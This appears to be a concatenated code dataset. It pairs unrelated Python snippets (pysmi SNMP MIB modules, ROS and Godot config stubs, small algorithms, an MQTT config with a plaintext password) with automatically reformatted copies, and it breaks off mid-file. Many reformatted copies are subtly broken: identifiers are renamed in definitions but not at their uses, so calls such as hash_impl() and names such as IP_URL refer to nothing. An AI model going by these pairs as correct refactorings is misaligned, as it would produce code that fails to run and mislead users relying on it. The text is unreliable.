nwhrLslOutPkts.setStatus('mandatory') nwhr_lsl_in_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 2), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrLslInPkts.setStatus('mandatory') nwhr_lsl_unclaimed_pkts = mib_scalar((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 3), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrLslUnclaimedPkts.setStatus('mandatory') nwhr_protocol_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4)) if mibBuilder.loadTexts: nwhrProtocolTable.setStatus('mandatory') pysmi_fake_col1000 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1) + (1000,), integer32()) nwhr_protocol_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1)).setIndexNames((0, 'NetWare-Host-Ext-MIB', 'pysmiFakeCol1000'), (0, 'NetWare-Host-Ext-MIB', 'nwhrProtocolName')) if mibBuilder.loadTexts: nwhrProtocolEntry.setStatus('mandatory') nwhr_protocol_name = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 1), international_display_string().subtype(subtypeSpec=value_size_constraint(0, 20))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrProtocolName.setStatus('mandatory') nwhr_protocol_id = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 2), octet_string().subtype(subtypeSpec=value_size_constraint(0, 6))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrProtocolID.setStatus('mandatory') nwhr_protocol_address = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 3), international_display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrProtocolAddress.setStatus('mandatory') nwhr_protocol_out_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 4), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrProtocolOutPkts.setStatus('mandatory') nwhr_protocol_in_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 5), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrProtocolInPkts.setStatus('mandatory') nwhr_protocol_ignored_pkts = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 6), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrProtocolIgnoredPkts.setStatus('mandatory') nwhr_protocol_full_name = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 4, 1, 7), international_display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrProtocolFullName.setStatus('mandatory') nwhr_if_table = mib_table((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5)) if mibBuilder.loadTexts: nwhrIfTable.setStatus('mandatory') pysmi_fake_col1001 = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1) + (1001,), integer32()) nwhr_if_entry = mib_table_row((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1)).setIndexNames((0, 'NetWare-Host-Ext-MIB', 'pysmiFakeCol1001')) if mibBuilder.loadTexts: nwhrIfEntry.setStatus('mandatory') nwhr_if_logical_board_number = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrIfLogicalBoardNumber.setStatus('mandatory') nwhr_if_frame_type = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1, 2), international_display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrIfFrameType.setStatus('mandatory') nwhr_if_logical_board_name = mib_table_column((1, 3, 6, 1, 4, 1, 23, 2, 27, 10, 5, 1, 3), international_display_string().subtype(subtypeSpec=value_size_constraint(0, 18))).setMaxAccess('readonly') if mibBuilder.loadTexts: nwhrIfLogicalBoardName.setStatus('mandatory') mibBuilder.exportSymbols('NetWare-Host-Ext-MIB', nwhrPrinterServerName=nwhrPrinterServerName, nwhrDiskStorageHeads=nwhrDiskStorageHeads, nwhrAdapterDMA1=nwhrAdapterDMA1, nwhrIfLogicalBoardName=nwhrIfLogicalBoardName, nwhrAdapterDevices=nwhrAdapterDevices, nwhrHotfixUnits=nwhrHotfixUnits, nwhrAdapterIndex=nwhrAdapterIndex, nwhrStorageMemoryPermanent=nwhrStorageMemoryPermanent, nwhrLslOutPkts=nwhrLslOutPkts, nwhrMslEntry=nwhrMslEntry, nwhrProtocolFullName=nwhrProtocolFullName, nwhrPrinterID=nwhrPrinterID, nwhrDiskStorageEntry=nwhrDiskStorageEntry, nwhrDiskStorageCylinders=nwhrDiskStorageCylinders, nwhrHotfixReserved=nwhrHotfixReserved, nwhrDeviceEntry=nwhrDeviceEntry, nwhrPhysicalPartitionType=nwhrPhysicalPartitionType, nwhrHotfixTotal=nwhrHotfixTotal, nwhrAdapterMem1=nwhrAdapterMem1, nwhrProcessorCount=nwhrProcessorCount, nwhrDiskStorageSectorsPerTrack=nwhrDiskStorageSectorsPerTrack, nwhrMslCount=nwhrMslCount, TransportAddress=TransportAddress, nwhrStorageCacheBuffers=nwhrStorageCacheBuffers, nwhrAdapterDriverMajorVer=nwhrAdapterDriverMajorVer, nwhrProtocolInPkts=nwhrProtocolInPkts, nwhrPhysicalPartitionTable=nwhrPhysicalPartitionTable, nwhrPrinterTable=nwhrPrinterTable, nwhrDeviceAdapterIndex=nwhrDeviceAdapterIndex, nwhrProtocolAddress=nwhrProtocolAddress, nwhrAdapterMem1Len=nwhrAdapterMem1Len, nwhrProtocolName=nwhrProtocolName, nwhrStorageCacheNonMovable=nwhrStorageCacheNonMovable, nwhrAdapterInterrupt1=nwhrAdapterInterrupt1, nwhrAdapterMem2Len=nwhrAdapterMem2Len, InternationalDisplayString=InternationalDisplayString, nwhrProtocolEntry=nwhrProtocolEntry, nwhrPhysicalPartitionSize=nwhrPhysicalPartitionSize, nwhrAdapterDriverDescr=nwhrAdapterDriverDescr, nwhrAdapterSlot=nwhrAdapterSlot, nwhrDeviceTable=nwhrDeviceTable, nwhrProtocolOutPkts=nwhrProtocolOutPkts, pysmiFakeCol1000=pysmiFakeCol1000, nwhrProtocolIgnoredPkts=nwhrProtocolIgnoredPkts, TransportDomain=TransportDomain, nwhrPhysicalPartitionEntry=nwhrPhysicalPartitionEntry, nwhrHotfixUsed=nwhrHotfixUsed, nwhrStorageCacheMovable=nwhrStorageCacheMovable, nwhrAdapterPort2Len=nwhrAdapterPort2Len, nwhrHotfixTable=nwhrHotfixTable, nwhrStorageDOSMemory=nwhrStorageDOSMemory, nwhrPrinterTransportDomain=nwhrPrinterTransportDomain, nwhrMslOutErrors=nwhrMslOutErrors, nwhrProtocolID=nwhrProtocolID, novell=novell, nwhrDiskStorageBlockSize=nwhrDiskStorageBlockSize, nwhrPhysicalPartitionIndex=nwhrPhysicalPartitionIndex, nwHostExtensions=nwHostExtensions, nwhrAdapterPort1Len=nwhrAdapterPort1Len, nwhrAdapterEntry=nwhrAdapterEntry, nwhrAdapterDriverMinorVer=nwhrAdapterDriverMinorVer, nwhrStorageTypes=nwhrStorageTypes, nwhrAdapterInterrupt2=nwhrAdapterInterrupt2, nwhrDiskStorageSectorSize=nwhrDiskStorageSectorSize, nwhrAdapterDMA2=nwhrAdapterDMA2, nwhrIfTable=nwhrIfTable, nwhrStorageUnclaimedMemory=nwhrStorageUnclaimedMemory, nwhrPrinterTransportAddress=nwhrPrinterTransportAddress, nwhrMslSends=nwhrMslSends, nwhrStorageVolume=nwhrStorageVolume, nwhrOdi=nwhrOdi, nwhrAdapterDescr=nwhrAdapterDescr, nwhrHotfixEntry=nwhrHotfixEntry, nwhrPrinterType=nwhrPrinterType, nwhrPhysicalPartitionDescr=nwhrPhysicalPartitionDescr, nwhrIfFrameType=nwhrIfFrameType, nwhrDeviceControllerNumber=nwhrDeviceControllerNumber, nwhrAdapterCount=nwhrAdapterCount, nwhrLslUnclaimedPkts=nwhrLslUnclaimedPkts, pysmiFakeCol1001=pysmiFakeCol1001, nwhrAdapterPort1=nwhrAdapterPort1, nwhrDeviceTypes=nwhrDeviceTypes, KBytes=KBytes, nwhrPrinterCount=nwhrPrinterCount, nwhrDeviceMirroredServerLink=nwhrDeviceMirroredServerLink, nwhrAdapterPort2=nwhrAdapterPort2, nwhrPrinterQueueName=nwhrPrinterQueueName, nwhrDevice=nwhrDevice, nwhrIfLogicalBoardNumber=nwhrIfLogicalBoardNumber, nwhrPrinterEntry=nwhrPrinterEntry, nwhrDeviceNumber=nwhrDeviceNumber, nwhrStorageIOEngineMemory=nwhrStorageIOEngineMemory, nwhrPrinterLocalName=nwhrPrinterLocalName, nwhrAdapterTable=nwhrAdapterTable, nwhrAdapterType=nwhrAdapterType, nwhrStorageCodeAndDataMemory=nwhrStorageCodeAndDataMemory, nwhrStorage=nwhrStorage, nwhrMslState=nwhrMslState, nwhrPrinterDeviceIndex=nwhrPrinterDeviceIndex, nwhrMslSpeed=nwhrMslSpeed, nwhrDiskStorageCount=nwhrDiskStorageCount, nwhrDiskStorageTable=nwhrDiskStorageTable, nwhrStorageMSEngineMemory=nwhrStorageMSEngineMemory, nwhrLslInPkts=nwhrLslInPkts, nwhrProtocolTable=nwhrProtocolTable, nwhrAdapterMem2=nwhrAdapterMem2, nwhrMslInErrors=nwhrMslInErrors, mibDoc=mibDoc, nwhrStorageMemoryAlloc=nwhrStorageMemoryAlloc, nwhrIfEntry=nwhrIfEntry, nwhrMslTable=nwhrMslTable, nwhrMslReceives=nwhrMslReceives)
# config.py def can_build(env, platform): return True def configure(env): pass def get_doc_path(): return "doc_classes" def get_doc_classes(): return [ "MySQL", ]
def can_build(env, platform): return True def configure(env): pass def get_doc_path(): return 'doc_classes' def get_doc_classes(): return ['MySQL']
# generated from genmsg/cmake/pkg-genmsg.context.in messages_str = "/home/nvidia/catkin_ws/src/my_pkg3/msg/MABX.msg;/home/nvidia/catkin_ws/src/my_pkg3/msg/a.msg" services_str = "" pkg_name = "my_pkg3" dependencies_str = "std_msgs" langs = "" dep_include_paths_str = "my_pkg3;/home/nvidia/catkin_ws/src/my_pkg3/msg;std_msgs;/opt/ros/kinetic/share/std_msgs/cmake/../msg" PYTHON_EXECUTABLE = "/usr/bin/python" package_has_static_sources = 'TRUE' == 'TRUE' genmsg_check_deps_script = ""
messages_str = '/home/nvidia/catkin_ws/src/my_pkg3/msg/MABX.msg;/home/nvidia/catkin_ws/src/my_pkg3/msg/a.msg' services_str = '' pkg_name = 'my_pkg3' dependencies_str = 'std_msgs' langs = '' dep_include_paths_str = 'my_pkg3;/home/nvidia/catkin_ws/src/my_pkg3/msg;std_msgs;/opt/ros/kinetic/share/std_msgs/cmake/../msg' python_executable = '/usr/bin/python' package_has_static_sources = 'TRUE' == 'TRUE' genmsg_check_deps_script = ''
# greet.py| prints hello world to the console message = 'Hello World' print(message)
message = 'Hello World' print(message)
#!/usr/bin/env python class HashImpl(object): def __init__(self): self._tree = {} def insert(self, word): if word: t = self._tree for a in list(word): if a in t: t = t[a] else: t[a] = {} t = t[a] def startsWith(self, word): if not word: return True t = self._tree for a in list(word): if a in t: t = t[a] else: return False return True def index(self, word): if not word: return -1 t = self._tree for idx, a in enumerate(list(word)): if a in t: t = t[a] else: return idx return len(word) - 1 if __name__ == '__main__': tree = HashImpl() tree.insert('abc') tree.insert('abcd') tree.insert('abce') tree.insert('bcd') print('abcdefg', tree.index('abcdefg')) print('bcefg', tree.index('bcefg'))
class Hashimpl(object): def __init__(self): self._tree = {} def insert(self, word): if word: t = self._tree for a in list(word): if a in t: t = t[a] else: t[a] = {} t = t[a] def starts_with(self, word): if not word: return True t = self._tree for a in list(word): if a in t: t = t[a] else: return False return True def index(self, word): if not word: return -1 t = self._tree for (idx, a) in enumerate(list(word)): if a in t: t = t[a] else: return idx return len(word) - 1 if __name__ == '__main__': tree = hash_impl() tree.insert('abc') tree.insert('abcd') tree.insert('abce') tree.insert('bcd') print('abcdefg', tree.index('abcdefg')) print('bcefg', tree.index('bcefg'))
mqtt_broker = "192.168.10.254" mqtt_client_id = b"esp_kitchen_servo_switch" mqtt_topic = b"kitchen/light1" mqtt_user = "homeassistant" mqtt_password = "internetofthings"
mqtt_broker = '192.168.10.254' mqtt_client_id = b'esp_kitchen_servo_switch' mqtt_topic = b'kitchen/light1' mqtt_user = 'homeassistant' mqtt_password = 'internetofthings'
# Define Class/ Properties class IO: # Class supportedSrcs=["console","file"] #attributes def read(src): #attributes if src not in IO.supportedSrcs: print("Not supported") else: print("Read from", src) # Use class print(IO.supportedSrcs) IO.read("file") IO.read("internet")
class Io: supported_srcs = ['console', 'file'] def read(src): if src not in IO.supportedSrcs: print('Not supported') else: print('Read from', src) print(IO.supportedSrcs) IO.read('file') IO.read('internet')
n = int(input()) time = [] for i in range(n): time.append(hour+minute) hour, minute = input().split() count_max = 1 count = 1 for i in range(1,n): if time[i] == time[i-1]: count += 1 else: count = 1 if count > count_max: count_max = count print(count_max)
n = int(input()) time = [] for i in range(n): time.append(hour + minute) (hour, minute) = input().split() count_max = 1 count = 1 for i in range(1, n): if time[i] == time[i - 1]: count += 1 else: count = 1 if count > count_max: count_max = count print(count_max)
class Project: def __init__(self, name, status="development", inherit=True, view_status="public", description="default"): self.name = name self.status = status self.inherit = inherit self.view_status = view_status self.description = description def __eq__(self, other): return self.name == other.name def __repr__(self): return "Project:name=%s" % (self.name) def key_by_name(self): return self.name
class Project: def __init__(self, name, status='development', inherit=True, view_status='public', description='default'): self.name = name self.status = status self.inherit = inherit self.view_status = view_status self.description = description def __eq__(self, other): return self.name == other.name def __repr__(self): return 'Project:name=%s' % self.name def key_by_name(self): return self.name
custom_values = {"name": "pinto", "default_code": "p001", "default_value": 100} new_values = {} for key, value in custom_values.items(): if 'default_' in key: new_key = key[8::] new_values[new_key] = value else: new_values[key] = value print(new_values)
custom_values = {'name': 'pinto', 'default_code': 'p001', 'default_value': 100} new_values = {} for (key, value) in custom_values.items(): if 'default_' in key: new_key = key[8:] new_values[new_key] = value else: new_values[key] = value print(new_values)
class BoardPrecinct(): precinct_map = ( 'Upload a PDF file that represent the boundaries of this precinct.' )
class Boardprecinct: precinct_map = 'Upload a PDF file that represent the boundaries of this precinct.'
#!/usr/bin/env python3 # -*- coding: utf-8 -*- ' a test module ' __author__ = 'Ahrli Tao' IP_URL = 'http://127.0.0.1:6868/proxies/random' def get_proxies(): url = IP_URL response = requests.get(url=url) if response is None: time.sleep(1) get_proxies() proxies_ip = response.text proxies = {proxies_ip.split(':')[0]: proxies_ip} return proxies
""" a test module """ __author__ = 'Ahrli Tao' ip_url = 'http://127.0.0.1:6868/proxies/random' def get_proxies(): url = IP_URL response = requests.get(url=url) if response is None: time.sleep(1) get_proxies() proxies_ip = response.text proxies = {proxies_ip.split(':')[0]: proxies_ip} return proxies
class LinkedList: def __init__(self, value): self.value = value self.next = None # O(n) time | O(n) space - where n is the number of nodes in the Linked List def linkedListPalindrome(head): isPalindromeResults = isPalindrome(head, head) return isPalindromeResults.outerNodesAreEqual def isPalindrome(leftNode, rightNode): if rightNode is None: return LinkedListInfo(True, leftNode) recursiveCallResults = isPalindrome(leftNode, rightNode.next) leftNodeToCompare = recursiveCallResults.leftNodeToCompare outerNodesAreEqual = recursiveCallResults.outerNodesAreEqual recursiveIsEqual = outerNodesAreEqual and leftNodeToCompare.value == rightNode.value nextLeftNodeToCompare = leftNodeToCompare.next return LinkedListInfo(recursiveIsEqual, nextLeftNodeToCompare) class LinkedListInfo: def __init__(self, outerNodesAreEqual, leftNodeToCompare): self.outerNodesAreEqual = outerNodesAreEqual self.leftNodeToCompare = leftNodeToCompare
class Linkedlist: def __init__(self, value): self.value = value self.next = None def linked_list_palindrome(head): is_palindrome_results = is_palindrome(head, head) return isPalindromeResults.outerNodesAreEqual def is_palindrome(leftNode, rightNode): if rightNode is None: return linked_list_info(True, leftNode) recursive_call_results = is_palindrome(leftNode, rightNode.next) left_node_to_compare = recursiveCallResults.leftNodeToCompare outer_nodes_are_equal = recursiveCallResults.outerNodesAreEqual recursive_is_equal = outerNodesAreEqual and leftNodeToCompare.value == rightNode.value next_left_node_to_compare = leftNodeToCompare.next return linked_list_info(recursiveIsEqual, nextLeftNodeToCompare) class Linkedlistinfo: def __init__(self, outerNodesAreEqual, leftNodeToCompare): self.outerNodesAreEqual = outerNodesAreEqual self.leftNodeToCompare = leftNodeToCompare
_base_ = './htc_r50_fpn_1x_coco.py' model = dict( backbone=dict( depth=101, init_cfg=dict(type='Pretrained', checkpoint='torchvision://resnet101'))) # learning policy lr_config = dict(step=[16, 19]) runner = dict(type='EpochBasedRunner', max_epochs=20)
_base_ = './htc_r50_fpn_1x_coco.py' model = dict(backbone=dict(depth=101, init_cfg=dict(type='Pretrained', checkpoint='torchvision://resnet101'))) lr_config = dict(step=[16, 19]) runner = dict(type='EpochBasedRunner', max_epochs=20)
# https://www.hackerrank.com/challenges/triple-sum/problem?isFullScreen=true def triplets(a, b, c): a = list(sorted(set(a))) b = list(sorted(set(b))) c = list(sorted(set(c))) ai = 0 bi = 0 ci = 0 ans = 0 while bi < len(b): while ai < len(a) and a[ai] <= b[bi]: ai += 1 while ci < len(c) and c[ci] <= b[bi]: ci += 1 ans += ai * ci bi += 1 return ans
def triplets(a, b, c): a = list(sorted(set(a))) b = list(sorted(set(b))) c = list(sorted(set(c))) ai = 0 bi = 0 ci = 0 ans = 0 while bi < len(b): while ai < len(a) and a[ai] <= b[bi]: ai += 1 while ci < len(c) and c[ci] <= b[bi]: ci += 1 ans += ai * ci bi += 1 return ans
def parse(a): a = a.split("\n") a = [x+", " for x in a] a = [''.join(a[i:i+6])+"\n" for i in range(0, len(a), 6)] print(''.join(a))
def parse(a): a = a.split('\n') a = [x + ', ' for x in a] a = [''.join(a[i:i + 6]) + '\n' for i in range(0, len(a), 6)] print(''.join(a))
def string_handler(words: str) -> str: length = len(words) pos = length // 2 left = words[:pos] right = words[pos + 1 if length % 2 else pos::][::-1] return "yes" if left == right else "no" def main(): while True: try: data = input() print(string_handler(data)) except EOFError: break if __name__ == '__main__': main()
def string_handler(words: str) -> str: length = len(words) pos = length // 2 left = words[:pos] right = words[pos + 1 if length % 2 else pos:][::-1] return 'yes' if left == right else 'no' def main(): while True: try: data = input() print(string_handler(data)) except EOFError: break if __name__ == '__main__': main()
#!/usr/bin/env python #title :busy_load.py #description :Get the busiest or the most loaded disk from a trace #author :Vincentius Martin #date :20150203 #version :0.1 #usage : #notes : #python_version :2.7.5+ #precondition :ordered #============================================================================== def cut(tracefile, lowerb, upperb, devno = -1): out = open("out/" + tracefile + "-cut.trace", 'w') lowerb = 60000 * lowerb upperb = 60000 * upperb with open("in/" + tracefile) as f: for line in f: tok = map(str.lstrip, line.split(" ")) if devno != -1 and int(tok[1]) != devno: continue if lowerb <= float(tok[0]) < upperb: out.write(line) out.close()
def cut(tracefile, lowerb, upperb, devno=-1): out = open('out/' + tracefile + '-cut.trace', 'w') lowerb = 60000 * lowerb upperb = 60000 * upperb with open('in/' + tracefile) as f: for line in f: tok = map(str.lstrip, line.split(' ')) if devno != -1 and int(tok[1]) != devno: continue if lowerb <= float(tok[0]) < upperb: out.write(line) out.close()
def count_variants(event_log,return_variants=False): current_case = "" current_variant = "" caseIDColName = "Case ID" activityColName = "Activity" variants = set() for index, row in event_log.iterrows(): activity = row[activityColName] if row[caseIDColName] != current_case: variants.add(current_variant) current_variant = "" current_case = row[caseIDColName] current_variant = current_variant + "@" + activity variants.add(current_variant) if return_variants: return len(variants) - 1, variants else: return len(variants) - 1
def count_variants(event_log, return_variants=False): current_case = '' current_variant = '' case_id_col_name = 'Case ID' activity_col_name = 'Activity' variants = set() for (index, row) in event_log.iterrows(): activity = row[activityColName] if row[caseIDColName] != current_case: variants.add(current_variant) current_variant = '' current_case = row[caseIDColName] current_variant = current_variant + '@' + activity variants.add(current_variant) if return_variants: return (len(variants) - 1, variants) else: return len(variants) - 1
# # PySNMP MIB module TIARA-QOS-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/TIARA-QOS-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 21:09:15 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") SingleValueConstraint, ValueRangeConstraint, ValueSizeConstraint, ConstraintsUnion, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ValueRangeConstraint", "ValueSizeConstraint", "ConstraintsUnion", "ConstraintsIntersection") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") Counter32, ModuleIdentity, TimeTicks, Unsigned32, Gauge32, ObjectIdentity, iso, NotificationType, MibIdentifier, Counter64, MibScalar, MibTable, MibTableRow, MibTableColumn, Integer32, IpAddress, Bits = mibBuilder.importSymbols("SNMPv2-SMI", "Counter32", "ModuleIdentity", "TimeTicks", "Unsigned32", "Gauge32", "ObjectIdentity", "iso", "NotificationType", "MibIdentifier", "Counter64", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Integer32", "IpAddress", "Bits") DisplayString, TextualConvention, TruthValue = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention", "TruthValue") tiaraIpIfIndex, = mibBuilder.importSymbols("TIARA-IP-MIB", "tiaraIpIfIndex") tiaraMgmt, = mibBuilder.importSymbols("TIARA-NETWORKS-SMI", "tiaraMgmt") tiaraQosMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 3174, 2, 17)) tiaraQosMib.setRevisions(('1900-02-07 00:00',)) if mibBuilder.loadTexts: tiaraQosMib.setLastUpdated('0006100000Z') if mibBuilder.loadTexts: tiaraQosMib.setOrganization('Tiara Networks Inc.') tiaraRedConfigTable = MibTable((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1), ) if mibBuilder.loadTexts: tiaraRedConfigTable.setStatus('current') tiaraRedConfigEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1), ).setIndexNames((0, "TIARA-IP-MIB", "tiaraIpIfIndex")) if mibBuilder.loadTexts: tiaraRedConfigEntry.setStatus('current') redTxMaxThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: redTxMaxThreshold.setStatus('current') redTxMinThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1, 2), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: redTxMinThreshold.setStatus('current') redTxWqBiasFactor = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1, 3), Integer32().subtype(subtypeSpec=ValueRangeConstraint(3, 20))).setMaxAccess("readwrite") if mibBuilder.loadTexts: redTxWqBiasFactor.setStatus('current') redTxEnable = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1, 4), TruthValue()).setMaxAccess("readwrite") if mibBuilder.loadTexts: redTxEnable.setStatus('current') tiaraRedStatTable = MibTable((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2), ) if mibBuilder.loadTexts: tiaraRedStatTable.setStatus('current') tiaraRedStatEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1), ).setIndexNames((0, "TIARA-IP-MIB", "tiaraIpIfIndex")) if mibBuilder.loadTexts: tiaraRedStatEntry.setStatus('current') redTxLoanedCount = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 1), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxLoanedCount.setStatus('current') redTxMaxLoanedCount = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 2), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxMaxLoanedCount.setStatus('current') redTxAvgQueueSize = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxAvgQueueSize.setStatus('current') redTxMaxAvgQueueSize = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxMaxAvgQueueSize.setStatus('current') redTxDropRate = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxDropRate.setStatus('current') redTxMinThresholdSuccess = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 6), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxMinThresholdSuccess.setStatus('current') redTxMaxThresholdFailure = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 7), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxMaxThresholdFailure.setStatus('current') redTxMinMaxRangeSuccess = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 8), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxMinMaxRangeSuccess.setStatus('current') redTxMinMaxRangeFailure = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 9), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxMinMaxRangeFailure.setStatus('current') redTxControlSuccess = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 10), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: redTxControlSuccess.setStatus('current') tiaraCbqConfigTable = MibTable((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3), ) if mibBuilder.loadTexts: tiaraCbqConfigTable.setStatus('current') tiaraCbqConfigEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1), ).setIndexNames((0, "TIARA-IP-MIB", "tiaraIpIfIndex"), (0, "TIARA-QOS-MIB", "cbqClassIndex")) if mibBuilder.loadTexts: tiaraCbqConfigEntry.setStatus('current') cbqClassIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassIndex.setStatus('current') cbqClassName = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 2), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassName.setStatus('current') cbqClassParentName = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 3), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassParentName.setStatus('current') cbqClassBandwidth = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassBandwidth.setStatus('current') cbqClassBurstTolerance = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassBurstTolerance.setStatus('current') cbqClassKeyType = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("cbqClassifyTypeNotSet", 1), ("cbqClassifySrcIp", 2), ("cbqClassifyDestIp", 3), ("cbqClassifySrcPort", 4), ("cbqClassifyDestPort", 5), ("cbqClassifyProtocolType", 6), ("cbqClassifyVlanId", 7)))).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassKeyType.setStatus('current') cbqClassIsDefault = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 7), TruthValue()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassIsDefault.setStatus('current') cbqClassAverageBandwidth = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 8), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassAverageBandwidth.setStatus('current') tiaraCbqClassKeyTable = MibTable((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4), ) if mibBuilder.loadTexts: tiaraCbqClassKeyTable.setStatus('current') tiaraCbqClassKeyTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1), ).setIndexNames((0, "TIARA-IP-MIB", "tiaraIpIfIndex"), (0, "TIARA-QOS-MIB", "cbqClassIndex"), (0, "TIARA-QOS-MIB", "cbqClassKeyIndex")) if mibBuilder.loadTexts: tiaraCbqClassKeyTableEntry.setStatus('current') cbqClassKeyIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassKeyIndex.setStatus('current') cbqKeyClassName = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 2), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqKeyClassName.setStatus('current') cbqClassKeyVlanId = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 3), Integer32()).setMaxAccess("readonly") if 